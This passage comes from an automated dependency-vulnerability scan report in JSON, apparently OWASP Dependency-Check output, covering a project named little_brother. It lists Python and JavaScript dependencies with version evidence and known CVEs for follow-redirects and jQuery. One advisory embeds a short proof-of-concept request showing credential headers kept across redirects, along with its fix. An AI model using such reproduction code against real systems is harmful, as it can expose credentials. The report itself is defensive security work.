          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask@2.3.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask:2.3.3",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:flask\/2.3.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask@2.3.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask@2.3.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "flask:2.3.3",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:flask\/2.3.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "flask"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "flask"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.3.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/flask@2.3.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/flask@2.3.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "follow-redirects:1.15.2",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?follow-redirects",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "follow-redirects"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "follow-redirects"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "1.15.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/follow-redirects@1.15.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/follow-redirects@1.15.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-28849",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 6.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "LOW",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-200"
          ],
          "description": "follow-redirects is an open source, drop-in replacement for Node's `http` and `https` modules that automatically follows redirects. In affected versions follow-redirects only clears authorization header during cross-domain redirect, but keep the proxy-authentication header which contains credentials too. This vulnerability may lead to credentials leak, but has been addressed in version 1.15.6. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n\nSonatype's research suggests that this CVE's details differ from those defined at NVD. See https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-28849 for details",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/follow-redirects\/follow-redirects\/security\/advisories\/GHSA-cxjh-pqwp-8mfp",
              "name": "https:\/\/github.com\/follow-redirects\/follow-redirects\/security\/advisories\/GHSA-cxjh-pqwp-8mfp"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-28849?component-type=npm&component-name=follow-redirects&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-28849] CWE-200: Information Exposure"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-28849",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-28849"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:follow-redirects:1.15.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-cxjh-pqwp-8mfp",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 6.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "LOW",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-200"
          ],
          "description": "When using [axios](https:\/\/github.com\/axios\/axios), its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.\n\n## Steps To Reproduce & PoC\n\nTest code:\n\n```js\nconst axios = require('axios');\n\naxios.get('http:\/\/127.0.0.1:10081\/', {\n headers: {\n 'AuThorization': 'Rear Test',\n 'ProXy-AuthoriZation': 'Rear Test',\n 'coOkie': 't=1'\n }\n})\n .then((response) => {\n console.log(response);\n })\n```\n\nWhen I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.\n\n## Impact\n\nThis vulnerability may lead to credentials leak.\n\n## Recommendations\n\nRemove proxy-authentication header during cross-domain redirect\n\n### Recommended Patch\n\n[follow-redirects\/index.js:464](https:\/\/github.com\/follow-redirects\/follow-redirects\/commit\/c4f847f85176991f95ab9c88af63b1294de8649b)\n\n```diff\n- removeMatchingHeaders(\/^(?:authorization|cookie)$\/i, this._options.headers);\n+ removeMatchingHeaders(\/^(?:authorization|proxy-authorization|cookie)$\/i, this._options.headers);\n```",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-28849",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-28849"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-cxjh-pqwp-8mfp",
              "name": "https:\/\/github.com\/advisories\/GHSA-cxjh-pqwp-8mfp"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/follow-redirects\/follow-redirects\/commit\/c4f847f85176991f95ab9c88af63b1294de8649b",
              "name": "https:\/\/github.com\/follow-redirects\/follow-redirects\/commit\/c4f847f85176991f95ab9c88af63b1294de8649b"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce@lists.fedoraproject.org\/message\/VOIF4EPQUCKDBEVTGRQDZ3CGTYQHPO7Z",
              "name": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce@lists.fedoraproject.org\/message\/VOIF4EPQUCKDBEVTGRQDZ3CGTYQHPO7Z"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/psf\/requests\/issues\/1885",
              "name": "https:\/\/github.com\/psf\/requests\/issues\/1885"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/hackerone.com\/reports\/2390009",
              "name": "https:\/\/hackerone.com\/reports\/2390009"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/follow-redirects\/follow-redirects\/security\/advisories\/GHSA-cxjh-pqwp-8mfp",
              "name": "https:\/\/github.com\/follow-redirects\/follow-redirects\/security\/advisories\/GHSA-cxjh-pqwp-8mfp"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/fetch.spec.whatwg.org\/#authentication-entries",
              "name": "https:\/\/fetch.spec.whatwg.org\/#authentication-entries"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:follow-redirects:\\<\\=1.15.5:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "OSSINDEX",
          "name": "CVE-2023-26159",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 6.099999904632568,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-20"
          ],
          "description": "Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2023-26159",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2023-26159"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/follow-redirects\/follow-redirects\/issues\/235",
              "name": "https:\/\/github.com\/follow-redirects\/follow-redirects\/issues\/235"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2023-26159?component-type=npm&component-name=follow-redirects&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2023-26159] CWE-20: Improper Input Validation"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:follow-redirects:1.15.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-jchw-25xp-jwwc",
          "unscored": "true",
          "severity": "moderate",
          "cvssv3": {
            "baseScore": 6.099999904632568,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-601",
            "CWE-20"
          ],
          "description": "Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/security.snyk.io\/vuln\/SNYK-JS-FOLLOWREDIRECTS-6141137",
              "name": "https:\/\/security.snyk.io\/vuln\/SNYK-JS-FOLLOWREDIRECTS-6141137"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-jchw-25xp-jwwc",
              "name": "https:\/\/github.com\/advisories\/GHSA-jchw-25xp-jwwc"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-26159",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-26159"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/follow-redirects\/follow-redirects\/issues\/235",
              "name": "https:\/\/github.com\/follow-redirects\/follow-redirects\/issues\/235"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/follow-redirects\/follow-redirects\/commit\/7a6567e16dfa9ad18a70bfe91784c28653fbf19d",
              "name": "https:\/\/github.com\/follow-redirects\/follow-redirects\/commit\/7a6567e16dfa9ad18a70bfe91784c28653fbf19d"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/follow-redirects\/follow-redirects\/pull\/236",
              "name": "https:\/\/github.com\/follow-redirects\/follow-redirects\/pull\/236"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce@lists.fedoraproject.org\/message\/ZZ425BFKNBQ6AK7I5SAM56TWON5OF2XM\/",
              "name": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce@lists.fedoraproject.org\/message\/ZZ425BFKNBQ6AK7I5SAM56TWON5OF2XM\/"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:follow-redirects:\\<1.15.4:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "helpers.js",
      "filePath": "\/builds\/mr\/little_brother\/little_brother\/static\/helpers.js",
      "md5": "dee5eebf0f144b776d05a156bfaef656",
      "sha1": "4c6ea84f93a2fab9ee3f31f52e74228751a0b00e",
      "sha256": "53059bda80f2cda958901623a5bade4c493eca00e889068ba657e9e8f8effe2f",
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "helpers.js",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/src\/assets\/helpers.js",
      "md5": "3949481b93ac808a240b4426fc928401",
      "sha1": "e6c6fa4ebdda8ddedeb9cd47b58afced052bbd06",
      "sha256": "7b93e6c02d3026f6f18f2297275c156458ca33244b4bbda272f714b8263d2249",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "helpers.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/assets\/helpers.js",
          "sha256": "7b93e6c02d3026f6f18f2297275c156458ca33244b4bbda272f714b8263d2249",
          "sha1": "e6c6fa4ebdda8ddedeb9cd47b58afced052bbd06",
          "md5": "3949481b93ac808a240b4426fc928401"
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: helpers.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/assets\/helpers.js",
          "sha256": "7b93e6c02d3026f6f18f2297275c156458ca33244b4bbda272f714b8263d2249",
          "sha1": "e6c6fa4ebdda8ddedeb9cd47b58afced052bbd06",
          "md5": "3949481b93ac808a240b4426fc928401"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "humanize:4.8.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:humanize\/4.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "humanize"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "humanize"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "4.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/humanize@4.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/humanize@4.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "humanize:4.8.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:humanize\/4.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "humanize"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "humanize"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "4.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/humanize@4.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/humanize@4.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "jinja2:3.1.4",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:jinja2\/3.1.4",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "jinja2"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "jinja2"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.1.4"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/jinja2@3.1.4",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/jinja2@3.1.4?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "jinja2:3.1.4",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:jinja2\/3.1.4",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "jinja2"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "jinja2"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "3.1.4"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/jinja2@3.1.4",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/jinja2@3.1.4?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "jquery-1.11.2.min.js",
      "filePath": "\/builds\/mr\/little_brother\/little_brother\/static\/contrib\/initializr\/js\/vendor\/jquery-1.11.2.min.js",
      "md5": "5790ead7ad3ba27397aedfa3d263b867",
      "sha1": "8130544c215fe5d1ec081d83461bf4a711e74882",
      "sha256": "2ecd295d295bec062cedebe177e54b9d6b19fc0a841dc5c178c654c9ccff09c0",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "jquery-1.11.2.min.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/assets\/contrib\/initializr\/js\/vendor\/jquery-1.11.2.min.js",
          "sha256": "2ecd295d295bec062cedebe177e54b9d6b19fc0a841dc5c178c654c9ccff09c0",
          "sha1": "8130544c215fe5d1ec081d83461bf4a711e74882",
          "md5": "5790ead7ad3ba27397aedfa3d263b867"
        },
        {
          "isVirtual": false,
          "fileName": "jquery-1.11.2.min.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/src\/assets\/contrib\/initializr\/js\/vendor\/jquery-1.11.2.min.js",
          "sha256": "2ecd295d295bec062cedebe177e54b9d6b19fc0a841dc5c178c654c9ccff09c0",
          "sha1": "8130544c215fe5d1ec081d83461bf4a711e74882",
          "md5": "5790ead7ad3ba27397aedfa3d263b867"
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: jquery-1.11.2.min.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/assets\/contrib\/initializr\/js\/vendor\/jquery-1.11.2.min.js",
          "sha256": "2ecd295d295bec062cedebe177e54b9d6b19fc0a841dc5c178c654c9ccff09c0",
          "sha1": "8130544c215fe5d1ec081d83461bf4a711e74882",
          "md5": "5790ead7ad3ba27397aedfa3d263b867",
          "packageIds": [
            {
              "id": "pkg:javascript/jquery@1.11.2.min",
              "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:javascript\/jquery@1.11.2.min?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
            }
          ]
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: jquery-1.11.2.min.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/contrib\/initializr\/js\/vendor\/jquery-1.11.2.min.js",
          "sha256": "2ecd295d295bec062cedebe177e54b9d6b19fc0a841dc5c178c654c9ccff09c0",
          "sha1": "8130544c215fe5d1ec081d83461bf4a711e74882",
          "md5": "5790ead7ad3ba27397aedfa3d263b867",
          "packageIds": [
            {
              "id": "pkg:javascript/jquery@1.11.2.min",
              "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:javascript\/jquery@1.11.2.min?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
            }
          ]
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "jquery"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "jquery"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGH",
            "source": "file",
            "name": "version",
            "value": "1.11.2.min"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:javascript\/jquery@1.11.2.min",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:javascript\/jquery@1.11.2.min?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NVD",
          "name": "CVE-2015-9251",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.0"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "jQuery before 3.0.0 is vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain Ajax request is performed without the dataType option, causing text\/javascript responses to be executed.",
          "notes": "",
          "references": [
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/jquery\/jquery\/issues\/2432",
              "name": "ISSUE_TRACKING,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731%40%3Cdev.flink.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2%40%3Cuser.flink.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/technetwork\/security-advisory\/cpuapr2019-5072813.html",
              "name": "PATCH"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/jquery\/jquery\/pull\/2588\/commits\/c254d308a7d3f1eac4d0b42837804cfffcba4bb2",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/technetwork\/security-advisory\/cpuoct2019-5072832.html"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/advisories\/GHSA-rmxg-73gg-4p98",
              "name": "https:\/\/github.com\/advisories\/GHSA-rmxg-73gg-4p98"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/sw.aveva.com\/hubfs\/assets-2018\/pdf\/security-bulletin\/SecurityBulletin_LFSec126.pdf",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuapr2020.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.tenable.com\/security\/tns-2019-08"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2020:0481"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49%40%3Cuser.flink.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/jquery\/jquery\/pull\/2588",
              "name": "ISSUE_TRACKING,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujan2020.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/technetwork\/security-advisory\/cpujan2019-5072801.html",
              "name": "PATCH"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/kb.pulsesecure.net\/articles\/Pulse_Security_Advisories\/SA44601"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/ba79cf1658741e9f146e4c59b50aee56656ea95d841d358d006c18b6%40%3Ccommits.roller.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/152787\/dotCMS-5.1.1-Vulnerable-Dependencies.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/jquery\/jquery\/commit\/f60729f3903d17917dc351f3ac87794de379b0cc",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/156743\/OctoberCMS-Insecure-Dependencies.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/www.securityfocus.com\/bid\/105658",
              "name": "THIRD_PARTY_ADVISORY,VDB_ENTRY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854%40%3Cuser.flink.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/seclists.org\/bugtraq\/2019\/May\/18"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2020:0729"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/snyk.io\/vuln\/npm:jquery:20150627",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujul2020.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/153237\/RetireJS-CORS-Issue-Script-Execution.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/13"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/lists.opensuse.org\/opensuse-security-announce\/2020-03\/msg00041.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/ics-cert.us-cert.gov\/advisories\/ICSA-18-212-04",
              "name": "THIRD_PARTY_ADVISORY,US_GOVERNMENT_RESOURCE"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/11"
            },
            {
              "source": "info",
              "url": "http:\/\/blog.jquery.com\/2016\/01\/08\/jquery-2-2-and-1-12-released\/",
              "name": "http:\/\/blog.jquery.com\/2016\/01\/08\/jquery-2-2-and-1-12-released\/"
            },
            {
              "source": "cve@mitre.org",
